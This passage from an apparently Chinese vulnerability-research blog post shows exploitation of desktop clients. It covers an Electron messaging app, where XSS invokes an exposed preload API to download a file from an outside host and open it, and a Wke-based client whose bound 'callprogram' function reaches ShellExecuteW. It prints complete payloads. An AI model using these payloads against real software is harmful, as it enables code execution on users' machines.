Auth\u7684\uff0c\u6848\u4f8b\u4e2d\u63d0\u5230\u7684\u5927\u591a\u9700\u89811 Click\u8fdb\u884c\u4ea4\u4e92\u624d\u80fd\u5229\u7528\u3002\u4f46\u4e5f\u4e0d\u662f\u7edd\u5bf9\uff0c\u5982\u679c\u4e00\u4e9b\u5ba2\u6237\u7aef\u7684\u7f51\u7edc\u670d\u52a1\u7aef\u53e3\u662f\u76d1\u542c\u57280.0.0.0\u7684\uff0c\u53ea\u8981\u4f60\u4e0e\u76ee\u6807\u673a\u5668\u5904\u4e8e\u540c\u4e00\u4e2a\u7f51\u7edc\uff0c\u6216\u8be5\u5ba2\u6237\u7aef\u662f\u5728\u670d\u52a1\u5668\u4e0a\u4f7f\u7528\u7684\uff0c\u4e5f\u4e00\u6837\u53ef\u4ee5\u5b9e\u73b00 Click\u7684\u6548\u679c\u3002<\/p>\n\n<h4 id=\"web\u7c7b\u5ba2\u6237\u7aef\">Web\u7c7b\u5ba2\u6237\u7aef<\/h4>\n\n<p>Web\u7c7b\u5ba2\u6237\u7aef\uff0c\u6211\u7684\u5b9a\u4e49\u662f\u57fa\u4e8eHTML\u3001CSS\u3001JS\u7b49Web\u524d\u7aef\u6280\u672f\u6240\u6784\u5efa\u7684\u5ba2\u6237\u7aef\u5e94\u7528\u7a0b\u5e8f\uff0c\u5982Electron\u8fd9\u7c7bCEF\uff08\u6d4f\u89c8\u5668\u5d4c\u5165\u5f0f\uff09\u6846\u67b6\u5f00\u53d1\u7684\u5ba2\u6237\u7aef\u5e94\u7528\uff0c\u4ee5\u53ca\u57fa\u4e8e\u6e32\u67d3\u5f15\u64ce\uff08\u5982Wke\uff09\u6240\u5f00\u53d1\u7684\u5ba2\u6237\u7aef\u5e94\u7528\u3002<\/p>\n\n<h5 id=\"\u67d0im\u5ba2\u6237\u7aef\u5e94\u7528\">\u67d0IM\u5ba2\u6237\u7aef\u5e94\u7528<\/h5>\n\n<p>\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u662f\u4e00\u4e2a\u5373\u65f6\u901a\u8baf\u5ba2\u6237\u7aef\u5e94\u7528\uff0c\u6211\u5728\u7fa4\u540d\u79f0\u91cd\u547d\u540d\u65f6\u53d1\u73b0\u4e86\u4e00\u4e2a\u53cd\u5c04XSS\u6f0f\u6d1e\uff0c\u6839\u636e\u5176\u76ee\u5f55\u7ed3\u6784\u6211\u77e5\u9053\u5b83\u662f\u4e00\u4e2a\u57fa\u4e8eElectron\u5f00\u53d1\u7684\u7a0b\u5e8f\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028753704726.jpg\" alt=\"\" \/><\/p>\n\n<p>\u5728Electron\u6846\u67b6\u4e0b\uff0c\u5982\u679c\u5f00\u53d1\u8005\u5728\u6e32\u67d3\u9875\u9762\u65f6\u914d\u7f6e<code>nodeIntegration<\/code>\u4e3atrue\uff0c\u5219\u8bf4\u660e\u6211\u4eec\u53ef\u4ee5\u5728\u524d\u7aef\u4e2d\u4f7f\u7528Nodejs\u7684\u8bed\u6cd5\uff0c\u8fd9\u5c31\u5bfc\u81f4\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u5728\u524d\u7aef\u4f7f\u7528\u5982\u4e0bNodejs\u4ee3\u7801\u6267\u884c\u547d\u4ee4\uff1a<\/p>\n\n<pre><code class=\"language-nodejs\">require('child_process').exec(...);\n<\/code><\/pre>\n\n<p>\u4f46\u662f\u8fd9\u4e2a\u914d\u7f6e\u9879\u5728\u521b\u5efa\u529f\u80fd\u7a97\u53e3\u65f6\u5e76\u6ca1\u6709\u5f00\u542f\uff1a<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/image019.png\" alt=\"\" \/><\/p>\n\n<p>\u6240\u4ee5\uff0c\u6211\u4eec\u4e5f\u5c31\u6ca1\u529e\u6cd5\u901a\u8fc7XSS\u6267\u884cNodejs\u7684\u4ee3\u7801\uff0c\u4f46\u662f\u6839\u636e\u5f53\u524d\u7684Electron\u7684\u7248\u672c1.8.7\u53bb\u4e92\u8054\u7f51\u68c0\u7d22\uff0c\u53d1\u73b0\u8fd9\u4e2a\u7248\u672c\u5b58\u5728\u4e00\u4e2a\u5386\u53f2\u6f0f\u6d1e\uff1aCVE-2018-15685\uff0c\u800c\u540e\u8fdb\u884c\u76f8\u5173\u9a8c\u8bc1\uff0c\u4e5f\u65e0\u6cd5\u6210\u529f\u3002<\/p>\n\n<p>\u4f46\u662f\u6211\u4eec\u5728<code>\\resources\\app\\src\\inject\\preload.js<\/code>\u6587\u4ef6\u4e2d\uff08\u8fd9\u662f\u9884\u52a0\u8f7dJS\uff0c\u4e5f\u5c31\u8868\u793a\u8fd9\u4e2a\u6587\u4ef6\u5728\u7a97\u53e3\u521b\u5efa\u540e\uff0c\u9875\u9762\u521b\u5efa\u524d\u5c31\u6267\u884c\u4e86\uff09\uff0c\u53d1\u73b0\u4e86\u6ce8\u518c\u7684\u5168\u5c40\u53d8\u91cf\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">window.ZxDesktop = ZxDesktop;\n<\/code><\/pre>\n\n<p>\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u53bb\u8c03\u7528\u8fd9\u4e2a\u5168\u5c40\u53d8\u91cf\uff0c\u4ece\u800c\u53bb\u4f7f\u7528\u5176\u5185\u90e8\u7684\u5b9a\u4e49\u7684\u4e00\u4e9b\u529f\u80fd\uff1a<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028758518853.jpg\" alt=\"\" \/><\/p>\n\n<p>\u8be5\u5168\u5c40\u53d8\u91cf\u5b9e\u9645\u4e0a\u5bfc\u51fa\u4e86\u5f88\u591a\u5176\u4ed6\u6a21\u5757\u53ca\u5bf9\u5e94\u65b9\u6cd5\uff1a<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/image025.png\" alt=\"\" \/><\/p>\n\n<p>\u6211\u4eec\u8ddf\u8fdbFile\u6a21\u5757\uff0c\u5c31\u53ef\u4ee5\u53d1\u73b0\u5b58\u5728\u4e00\u4e2aopen\u51fd\u6570\uff1a<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/image027.png\" alt=\"\" \/><\/p>\n\n<p>\u8ddf\u8fdb\u4ee3\u7801\u548c\u6d4b\u8bd5\u4e4b\u540e\uff0c\u53d1\u73b0\u5b83\u5c31\u662f\u6587\u4ef6\u6253\u5f00\u51fd\u6570\uff0c\u5728Console\u4e0b\u53bb\u8c03\u7528\uff0c\u6210\u529f\u6253\u5f00\u8ba1\u7b97\u5668\uff1a<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/image029.png\" alt=\"\" \/><\/p>\n\n<p>\u63a5\u7740\u770b\u5bfc\u51fa\u51fd\u6570\u5217\u8868\u7684\u5176\u4ed6\u9879\uff0c\u53d1\u73b0\u5b58\u5728\u4e24\u4e2a\u6587\u4ef6\u4fdd\u5b58\u7684\u65b9\u6cd5\uff1a<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/image031.png\" alt=\"\" \/><\/p>\n\n<p>\u800c\u5b83\u4eec\u6240\u6307\u5411\u7684\u90fd\u662f\u53e6\u5916\u4e00\u4e2a\u6a21\u5757\u7684\u65b9\u6cd5\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">const Download = require('..\/download_extra\/download.render.js');\n<\/code><\/pre>\n\n<p>\u8ddf\u8fdb\u8fd9\u4e2a\u6a21\u5757\uff0c\u53d1\u73b0\u5b9e\u9645\u4e0a\u4ed6\u4eec\u90fd\u6765\u81ea\u540c\u4e00\u4e2a\u65b9\u6cd5\uff0c\u53ea\u4e0d\u8fc7\u4f20\u9012\u7684\u53c2\u6570isSelect\u6709\u4e0d\u540c\uff1a<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/image033.png\" alt=\"\" \/><\/p>\n\n<p>\u63a5\u7740\u6211\u4eec\u6765\u5b8c\u6574\u7684\u9605\u8bfb\u4e0b\u4ee3\u7801\u5373\u53ef\u53d1\u73b0\u6574\u4e2a\u903b\u8f91\uff0c\u9996\u5148\u6839\u636e\u4f60\u4f20\u9012\u7684\u53c2\u6570\u6765\u5224\u65ad\u8981\u8c03\u7528NormalDownload\uff08\u6b63\u5e38\u4e0b\u8f7d\uff09\u8fd8\u662fChunkDownload\uff08\u5206\u5757\u4e0b\u8f7d\uff09\uff0c\u63a5\u7740\u6839\u636eisSelect\u51fd\u6570\u6765\u5224\u65ad\u8c03\u7528save\u8fd8\u662fsaveAs\u65b9\u6cd5\uff1a<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/image035.png\" alt=\"\" \/><\/p>\n\n<p>\u6240\u4ee5\u6211\u4eec\u4ecd\u7136\u9700\u8981\u8ddf\u8fdbNormalDownload\u6216ChunkDownload\u5bf9\u5e94\u7684\u4ee3\u7801\uff0c\u6765\u67e5\u770b\u5b83\u4eec\u8fd9\u4e9b\u65b9\u6cd5\u7684\u903b\u8f91\u662f\u4ec0\u4e48\uff0c\u8fd9\u91cc\u770b\u4e86\u4e4b\u540e\uff0c\u4e24\u8005\u4ee3\u7801\u7684\u552f\u4e00\u533a\u522b\u5c31\u662f\u5206\u5757\uff0c\u6240\u4ee5\u672c\u6587\u5c31\u4ee5NormalDownload\u7684save\u3001saveAs\u65b9\u6cd5\u53bb\u8bf4\u660e\u3002<\/p>\n\n<p>\u9996\u5148\u662fsaveAs\u65b9\u6cd5\uff0c\u5b83\u4f1a\u8c03\u7528\u4e00\u4e2a\u6587\u4ef6\u4fdd\u5b58\u6846\uff0c\u7136\u540e\u8d4b\u503c\u8c03\u7528retryStart\u65b9\u6cd5\uff1a<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/image037.png\" alt=\"\" \/><\/p>\n\n<p>\u800c\u5b9e\u9645\u4e0aretryStart\u65b9\u6cd5\u5185\u8c03\u7528\u7684\u662fstart\u65b9\u6cd5\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u662f\u7528\u6765\u8fdb\u884c\u8bf7\u6c42\u4e0b\u8f7d\u7684\uff1a<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/image039.png\" alt=\"\" \/><\/p>\n\n<p>\u800c\u540e\u4e0b\u8f7d\u7684\u6587\u4ef6\u5b9e\u9645\u4e0a\u4f1a\u4fdd\u5b58\u5728\u7528\u6237\u7684\u6570\u636e\u76ee\u5f55\u4e0b\uff0csave\u65b9\u6cd5\u4e0esaveAs\u65b9\u6cd5\u7684\u6700\u5927\u7684\u4e0d\u540c\u5c31\u662f\u6ca1\u6709\u8fd9\u4e2a\u6587\u4ef6\u4fdd\u5b58\u6846\uff0c\u6240\u4ee5\u6211\u4eec\u5f53\u7136\u9009\u62e9\u4f7f\u7528save\u65b9\u6cd5\u3002<\/p>\n\n<p>\u9700\u8981\u6ce8\u610f\uff0c\u5728\u5982\u4e0a\u4ee3\u7801\u4e2dsave\u548csaveAs\u7684\u4f20\u9012\u53c2\u6570\u4e0d\u4e00\u81f4\uff0c\u5176\u5b9e\u8fd9\u4e0d\u5f71\u54cd\u6700\u7ec8\u7684\u5904\u7406\uff0c\u56e0\u4e3a\u5728\u4e00\u5f00\u59cb\u7684\u5bf9\u8c61\u521b\u5efa\u65f6\u5019\u5c31\u901a\u8fc7\u6784\u9020\u51fd\u6570\u8d4b\u503c\u4e86\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">let downloader = new Download(file, config);\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2023-12-18\/image041.png\" alt=\"\" \/><\/p>\n\n<p>\u81f3\u6b64\uff0c\u6211\u4eec\u5c31\u83b7\u5f97\u4e86\u6587\u4ef6\u4e0b\u8f7d\u7684\u653b\u51fb\u8def\u5f84\uff0c\u6211\u4eec\u53ef\u4ee5\u6839\u636e\u5bf9\u5e94\u53c2\u6570\u8fd9\u6837\u6784\u5efaJS\u4ee3\u7801\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">ZxDesktop.require(\"File\").save({\"url\": \"http:\/\/gh0st.cn:81\/test.txt\",\"name\": \"test.txt\",\"path\": \"\",\"chunkSize\": \"\",\"size\": \"\",\"fileData\": \"\"});\n<\/code><\/pre>\n\n<p>\u6211\u4eec\u5df2\u7ecf\u83b7\u5f97\u4e86\u6587\u4ef6\u4e0b\u8f7d\u7684\u529f\u80fd\uff0c\u653b\u51fb\u8def\u5f84\u5c31\u5f88\u660e\u663e\u4e86\uff1a\u7528\u6237\u4e0b\u8f7d\u6587\u4ef6\uff0c\u6253\u5f00\u6587\u4ef6\u3002\u4f46\u662f\u5b9e\u9645\u64cd\u4f5c\u4e2d\uff0c\u6211\u4eec\u6253\u5f00\u6587\u4ef6\u8fd8\u7f3a\u5c11\u4e00\u4e2a\u8def\u5f84\uff0c\u5e76\u4e14\u5728\u5b9e\u9645\u7684\u6d4b\u8bd5\u4e2d\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u4e0b\u8f7d\u7684\u6587\u4ef6\u662f\u4f1a\u4fdd\u5b58\u5728\u5e94\u7528\u7684\u6570\u636e\u76ee\u5f55\u7684null\u76ee\u5f55\u4e0b\u3002<\/p>\n\n<p>\u800c\u8fd9\u4e2a\u76ee\u5f55\u53ef\u80fd\u4f1a\u88ab\u7528\u6237\u66f4\u6539\uff08\u7528\u6237\u540d\u4e5f\u6ca1\u6cd5\u83b7\u53d6\uff09\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u642d\u914d\u4e00\u4e2a\u70b9\u53bb\u83b7\u53d6\u8def\u5f84\uff0c\u5728\u8fd9\u91cc\u627e\u5230\u4e86ZxDesktop\u7684System\u6a21\u5757\uff1a<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/image045.png\" alt=\"\" \/><\/p>\n\n<p>\u5b83\u7684\u5bfc\u51fa\u5217\u8868\u4e2d\u6709\u4e24\u4e2a\u5c5e\u6027\uff1adbPath\u3001userDataPath\uff0c\u5b83\u4eec\u7684\u5185\u5bb9\u90fd\u662f\u4e00\u6837\u7684\uff0c\u6307\u5411\u4e86\u7528\u6237\u7684\u6570\u636e\u76ee\u5f55\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">ZxDesktop.require(\"System\").userDataPath\n<\/code><\/pre>\n\n<p>\u6211\u4eec\u53ef\u4ee5\u8fd9\u6837\u62fc\u63a5\uff0c\u5c31\u6709\u4e86\u4e0b\u8f7d\u6587\u4ef6\u7684\u76ee\u5f55\u4fe1\u606f\u4e86\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">ZxDesktop.require(\"System\").userDataPath + \"\/null\/test.txt\"\n<\/code><\/pre>\n\n<p>\u5f53\u6211\u4eec\u6ee1\u8db3\u6240\u6709\u6761\u4ef6\u540e\uff0c\u5c31\u53ef\u4ee5\u6784\u9020\u5b8c\u6574\u7684\u653b\u51fb\u4ee3\u7801\u4e86\uff1a<\/p>\n\n<p>1.\u4e0b\u8f7d\u6587\u4ef6\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">var a = ZxDesktop;\n\nvar b = a.require(\"File\");\n\nb.save({\"url\": \"http:\/\/gh0st.cn:81\/test.txt\",\"name\": \"test.txt\",\"path\": \"\",\"chunkSize\": \"\",\"size\": \"\",\"fileData\": \"\"});\n<\/code><\/pre>\n\n<p>2.\u62fc\u63a5\u6587\u4ef6\u8def\u5f84\uff0c\u6253\u5f00\u6587\u4ef6\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">b.open(a.require(\"System\").userDataPath + \"\/null\/test.txt\");\n<\/code><\/pre>\n\n<p>3.\u6700\u7ec8Exploit\uff1a<\/p>\n\n<pre><code class=\"language-html\">\"&gt;&lt;svg onload='var a = ZxDesktop;var b = a.require(\"File\");b.save({\"url\": \"http:\/\/gh0st.cn:81\/test.txt\",\"name\": \"test.txt\",\"path\": \"\",\"chunkSize\": \"\",\"size\": \"\",\"fileData\": \"\"});b.open(a.require(\"System\").dbPath + \"\/null\/test.txt\");'&gt;\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2023-12-18\/17028761314895.jpg\" alt=\"\" \/><\/p>\n\n<h5 id=\"\u67d0\u8fd0\u7ef4\u5e73\u53f0\u5ba2\u6237\u7aef\">\u67d0\u8fd0\u7ef4\u5e73\u53f0\u5ba2\u6237\u7aef<\/h5>\n\n<p>\u5728\u67d0\u8fd0\u7ef4\u5e73\u53f0\u5ba2\u6237\u7aef\u4e2d\uff0c\u6211\u4eec\u53d1\u73b0\u53ef\u4ee5\u901a\u8fc7\u4f2a\u534f\u8bae\u94fe\u63a5\uff08<code>xxx:\/\/webview\/?url=http:\/\/xxxx<\/code>\uff09\u6765\u8fbe\u5230\u7aef\u5185\u4efb\u610f\u9875\u9762\u52a0\u8f7d\uff0c\u8fd9\u4e5f\u5c31\u8868\u793a\u6211\u4eec\u53ef\u4ee5\u6267\u884c\u4efb\u610fJS\u4ee3\u7801\u3002<\/p>\n\n<p>\u6839\u636e\u52a0\u8f7d\u7684DLL\u6587\u4ef6\u5f97\u77e5\uff0c\u5176\u6240\u4f9d\u8d56\u7684\u524d\u7aef\u9875\u9762\u6e32\u67d3\u662f\u5f00\u6e90\u9879\u76ee<a href=\"https:\/\/github.com\/cexer\/wke\">Wke<\/a>\u3002<\/p>\n\n<p>\u5728\u6e90\u4ee3\u7801<code>wke\/jsBind.cpp<\/code>\u4e2d\uff0c\u53d1\u73b0wkeJSBindFunction\u65b9\u6cd5\u63d0\u4f9b\u4e86JSBridge\u7684\u529f\u80fd\uff0c\u5c06JavaScript\u51fd\u6570\u7ed1\u5b9a\u5230C++\u4e2d\u4e00\u4e2a\u672c\u5730\u51fd\u6570\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028764422964.jpg\" alt=\"\" \/><\/p>\n\n<p>\u57fa\u4e8eIDA\u5206\u6790\u5f97\u77e5\uff0c\u76ee\u6807\u5e94\u7528\u4f7f\u7528\u4e86\u8be5\u65b9\u6cd5\u5c06JS\u51fd\u6570\u4e0eC++\u51fd\u6570\u8fdb\u884c\u4e86\u7ed1\u5b9a\u3002\u56fe\u4e0b\u56fe\u6240\u793a\uff0c\u5176\u5c06C++\u67d0\u4e2a\u51fd\u6570\u5730\u5740\uff0c\u4e0e\u540d\u4e3acallprogram\u7684JavaScript\u51fd\u6570\u8fdb\u884c\u7ed1\u5b9a\uff0c\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u5728JS\u4ee3\u7801\u4e2d\u8c03\u7528\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028765186722.jpg\" alt=\"\" \/><\/p>\n\n<p>\u8ddf\u8fdb\u5bf9\u5e94\u7684C++\u51fd\u6570\uff0c\u6211\u4eec\u53d1\u73b0\u5b83\u4f1a\u901a\u8fc7wkeJSParam\u83b7\u53d6\u53c2\u6570\uff0c\u518d\u901a\u8fc7JSToTempStringW\u83b7\u53d6\u5b57\u7b26\u4e32\u5f62\u5f0f\u7684\u53c2\u6570\u503c\uff0c\u6700\u7ec8\u5c06\u4e24\u4e2a\u53c2\u6570\u5e26\u5165ShellExecuteW\u51fd\u6570\u6267\u884c\u3002\u5373\u6700\u7ec8\u6267\u884c\u7684\u4ee3\u7801\u4e3a\uff1a<code>ShellExecuteW(0, \"open\", \u53c2\u65701, \u53c2\u65702, 0, 1)<\/code>\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028765625148.jpg\" alt=\"\" \/><\/p>\n\n<p>\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u6784\u5efa\u5982\u4e0b\u7684Exploit\u4ee3\u7801\uff0c\u5e76\u901a\u8fc7\u4f2a\u534f\u8bae\u7684\u65b9\u5f0f\u4f7f\u76ee\u6807\u53ef\u4ee5\u6253\u5f00\u5305\u542bExp\u4ee3\u7801\u7684\u7f51\u9875\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;script&gt;callprogram(\"C:\/Windows\/System32\/cmd.exe\", \"\/c calc\");&lt;\/script&gt;\n<\/code><\/pre>\n\n<h4 id=\"\u4f20\u7edf\u7c7b\u5ba2\u6237\u7aef\">\u4f20\u7edf\u7c7b\u5ba2\u6237\u7aef<\/h4>\n\n<p>\u4f20\u7edf\u7c7b\u5ba2\u6237\u7aef\uff0c\u6211\u7684\u5b9a\u4e49\u662f\u57fa\u4e8eC\/C++\u5199\u7684\u4e00\u4e9b\u4f20\u7edf\u5e94\u7528\uff0c\u5982VPN\u5ba2\u6237\u7aef\u3001\u89c6\u9891\u8f6f\u4ef6\u3001\u8fdc\u7a0b\u63a7\u5236\u8f6f\u4ef6\u7b49\u504f\u751f\u6d3b\u3001\u65e5\u5e38\u7c7b\u7684\u5e94\u7528\u3002<\/p>\n\n<h5 id=\"\u67d0\u8fdc\u7a0b\u670d\u52a1\u5e73\u53f0\u5ba2\u6237\u7aef\">\u67d0\u8fdc\u7a0b\u670d\u52a1\u5e73\u53f0\u5ba2\u6237\u7aef<\/h5>\n\n<p>\u5728\u62ff\u5230\u4e00\u4e2a\u5ba2\u6237\u7aef\u7a0b\u5e8f\u65f6\uff0c\u7b2c\u4e00\u6b65\u662f\u5b89\u88c5\uff0c\u7b2c\u4e8c\u6b65\u5219\u5e94\u8be5\u662f\u5148\u5927\u81f4\u53bb\u4e86\u89e3\u8be5\u7a0b\u5e8f\u7684\u4e00\u4e9b\u76ee\u5f55\u7ed3\u6784\u3001\u8fd0\u884c\u73af\u5883\u7b49\u4fe1\u606f\uff0c\u8fd9\u6837\u6211\u4eec\u5728\u63a5\u4e0b\u6765\u7684\u6f0f\u6d1e\u6316\u6398\u4e2d\u624d\u4f1a\u6709\u66f4\u591a\u7684\u4fe1\u606f\u6765\u8fdb\u884c\u5173\u8054\uff0c\u8f85\u52a9\u6211\u4eec\u6316\u6398\u6f0f\u6d1e\u3002<\/p>\n\n<p>\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u5b89\u88c5\u5b8c\u67d0\u8fdc\u7a0b\u670d\u52a1\u5e73\u53f0\u5ba2\u6237\u7aef\u540e\uff0c\u6211\u901a\u8fc7\u706b\u7ed2\u5251\u9010\u4e2a\u67e5\u770b\u5bf9\u5e94\u7684\u8fdb\u7a0b\u4fe1\u606f\uff0c\u5728TCP\/IP\u7a97\u53e3\u4e2d\u770b\u89c1\u5f53\u524d\u8fdb\u7a0b\u7684\u7f51\u7edc\u901a\u4fe1\u6216\u76d1\u542c\u4fe1\u606f\u3002\u5982\u4e0b\u56fe\u6240\u793a\u5c31\u662f<code>UserClient.exe<\/code>\u8fdb\u7a0b\u5f53\u524d\u7684\u7f51\u7edc\u901a\u4fe1\u4fe1\u606f\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u5b83\u5728\u672c\u5730\u76d1\u542c\u4e86\u4e24\u4e2a\u7aef\u53e3\uff1a<code>38227<\/code>\u3001<code>38230<\/code>\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16679755790172.jpg\" alt=\"\" \/><\/p>\n\n<p>\u5b83\u7684\u534f\u8bae\u90fd\u662fTCP\uff0c\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u4f7f\u7528HTTP\u7684\u65b9\u5f0f\u53bb\u8bbf\u95ee\uff0c\u7ed3\u679c\u663e\u793a<code>38230<\/code>\u7aef\u53e3\u53ef\u4ee5\u4ee5HTTP\u534f\u8bae\u7684\u65b9\u5f0f\u8fdb\u884c\u8bbf\u95ee\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16679844917231.jpg\" alt=\"\" \/><\/p>\n\n<p>\u6211\u4eec\u53ef\u4ee5\u9009\u53d6\u54cd\u5e94\u62a5\u6587\u4e2d\u7684<code>bangwo8client<\/code>\u5b57\u7b26\u4e32\u5728IDA\u7684Strings\u7a97\u53e3\u4e2d\u8fdb\u884c\u641c\u7d22\uff0c\u901a\u8fc7\u8fd9\u6837\u7684\u65b9\u5f0f\u6765\u8fdb\u884c\u903b\u8f91\u7684\u56de\u6eaf\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16679850207168.jpg\" alt=\"\" \/><\/p>\n\n<p>\u53cc\u51fb\u8fdb\u5165\u5b57\u7b26\u4e32\u6240\u5728\u7684<code>.RDATA<\/code>\u8282\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u770b\u5230\u8be5\u5b57\u7b26\u4e32\u5bf9\u5e94\u7684\u4ea4\u53c9\u5f15\u7528\uff0c\u90a3\u4e48\u63a5\u4e0b\u6765\u6211\u4eec\u7684\u5de5\u4f5c\u5c31\u662f<strong>\u8fdb\u5165\u8fd9\u4e9b\u51fd\u6570\u770b\u5177\u4f53\u5b9e\u73b0\u662f\u5426\u5bf9\u7684\u4e0a\u54cd\u5e94\u62a5\u6587\u7684\u4e3b\u4f53\u5185\u5bb9<\/strong>\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16680597537856.jpg\" alt=\"\" \/><\/p>\n\n<p>\u6211\u4eec\u8fdb\u5165\u4e00\u4e2a\u51fd\u6570\u67e5\u770b\uff0c\u4f1a\u53d1\u73b0\u5728\u51fd\u6570\u7684\u5934\u90e8\u4ee3\u7801\u4e2d\u6709\u5982\u4e0b\u8fd9\u4e48\u4e00\u6bb5\u5185\u5bb9\uff0c\u5b83\u7684\u903b\u8f91\u4f3c\u4e4e\u5c31\u5bf9\u5e94\u4e86HTTP\u54cd\u5e94\u62a5\u6587\u7684\u4e3b\u4f53\u8fd4\u56de\uff0c\u901a\u8fc7\u5b57\u7b26\u4e32\u7684\u5bf9\u5e94\u6211\u4eec\u80fd\u5927\u81f4\u77e5\u9053<code>sub_487760<\/code>\u51fd\u6570\u7684\u4f5c\u7528\u5c31\u662f\u4e3a\u4e86\u5c06\u5b57\u7b26\u4e32\u89e3\u6790\u5230JSON\u683c\u5f0f\u4e2d\uff0c\u7136\u540e\u518d\u901a\u8fc7\u5176\u4ed6\u51fd\u6570\u62fc\u63a5JSON\u7684\u5b57\u6bb5\u5185\u5bb9\u7ed9\u5230<code>Block<\/code>\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16680633669819.jpg\" alt=\"\" \/><\/p>\n\n<p>\u9664\u4e86\u6211\u4eec\u8ddf\u8fdb\u7684\u8fd9\u4e2a\u51fd\u6570\u5916\u5176\u4ed6\u7684\u51fd\u6570\u903b\u8f91\u90fd\u5927\u81f4\u4e00\u6837\uff0c\u5e76\u4e14\u6211\u4eec\u901a\u8fc7IDA\u63d2\u4ef6<code>CTO<\/code>\u67e5\u770b\u8c03\u7528\u5173\u7cfb\uff0c\u53d1\u73b0\u8fd9\u4e9b\u51fd\u6570\u6700\u7ec8\u90fd\u662f\u88ab\u540c\u4e00\u4e2a\u51fd\u6570<code>sub_674090<\/code>\u8c03\u7528\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16680636918960.jpg\" alt=\"\" \/><\/p>\n\n<p>\u90a3\u6211\u4eec\u518d\u7ee7\u7eed\u8ddf\u8fdb\u51fd\u6570<code>sub_674090<\/code>\uff0c\u51fd\u6570\u7684\u903b\u8f91\u5c31\u662f\u6839\u636e\u4e0d\u540c\u7684URI\u8fdb\u5165\u4e0d\u540c\u7684\u51fd\u6570\u5904\u7406\uff0c\u4e5f\u5c31\u8868\u793a\u7740\u8fd9\u91cc\u5c31\u662fHTTP\u8bf7\u6c42\u903b\u8f91\u5904\u7406\u7684\u5165\u53e3\u4f4d\u7f6e\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16680638567124.jpg\" alt=\"\" \/><\/p>\n\n<p>\u6709\u4e86\u8bf7\u6c42\u5904\u7406\u903b\u8f91\u7684\u5165\u53e3\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u5c31\u8981\u53bb\u770b\u6bcf\u4e2aURI\u5bf9\u5e94\u7684\u5904\u7406\u903b\u8f91\u662f\u4ec0\u4e48\uff0c\u770b\u4e00\u4e0b\u5904\u7406\u7684\u903b\u8f91\u4e2d\u662f\u5426\u6709\u53c2\u6570\u503c\u53ef\u63a7\u5bfc\u81f4\u5b58\u5728\u7684\u76f8\u5173\u6f0f\u6d1e\u3002<\/p>\n\n<p>\u5982\u679c\u4f60\u89c9\u5f97\u8fd9\u6837\u53bb\u770b\u5f88\u7d2f\uff0c\u4e5f\u53ef\u4ee5\u57fa\u4e8e\u654f\u611f\u51fd\u6570\u7684\u8c03\u7528\u94fe\u6765\u5bf9\u5e94\u6bcf\u4e2aURI\u7684\u5904\u7406\u51fd\u6570\uff0c\u5982\u4e0b\u56fe\u6240\u793a\u6211\u5c31\u57fa\u4e8e<code>ShellExecuteA<\/code>\u51fd\u6570\u7684\u8c03\u7528\u94fe\u627e\u5230\u4e86URI<code>\/api_install<\/code>\u7684\u5bf9\u5e94\u5904\u7406\u51fd\u6570\uff0c\u4e5f\u5c31\u8868\u793a\u5f53\u4f60\u8bbf\u95eeURL\uff1a<code>http:\/\/127.0.0.1:38230\/api_install<\/code>\u65f6\u5f88\u6709\u53ef\u80fd\u5c31\u4f1a\u89e6\u53d1<code>ShellExecuteA<\/code>\u51fd\u6570\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/16680696654183.jpg\" alt=\"\" 